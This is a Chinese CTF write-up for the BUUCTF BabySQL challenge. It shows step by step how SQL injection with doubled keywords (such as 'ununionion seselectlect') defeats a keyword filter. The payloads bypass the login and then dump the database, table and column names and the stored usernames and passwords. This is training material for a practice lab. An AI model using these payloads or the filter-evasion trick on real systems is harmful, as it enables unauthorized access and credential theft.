buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)

打开靶场,熟悉的界面

依旧是先上万能密码

1' or 1=1#  1' or 1=1#

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第1张图片

好家伙,直接就给你报错了,可以看到,or被它过滤掉了,所以我们尝试一下双写绕过

1' oorr 1=1#  1' oorr 1=1#

成功登录!

可以拿admin回去登录界面继续注入了 ,先爆字段

admin' oorrder by 2#(密码随便输)

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第2张图片

提示在字段数附近有报错,猜测可能是by也被过滤了,依旧是双写绕过 

admin' oorrder bbyy 2# 

 可以的,通过二分法测试出字段数是3,然后联合查询爆回显位,但是很明显,这道题的过滤是有点多的,所以我们可以先做一下fuzzing排查一下,方便后面的查询

 buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第3张图片

 只能说用到的基本上都被过滤了,所以咱们得一个个的进行绕过,先联合查询爆回显位

-1' ununionion seselectlect 1,2,3#

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第4张图片

查数据库

-1' ununionion seselectlect 1,2,database()# 

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第5张图片

查数据库里的表

-1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#  

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第6张图片

查一下第一张表里的内容 

-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第7张图片

继续爆里面的内容

​​​​​​​-1' ununionion seselectlect 1,2,group_concat(id,username,password) frfromom geek.b4bsql# 

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第8张图片

这里还是被小坑一手(password里还有个or),修改一下

​​​​​​​-1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#

buu web:[极客大挑战 2019]BabySQL(sql注入双写绕过)_第9张图片

搞定! 

你可能感兴趣的:(buuctf,web安全)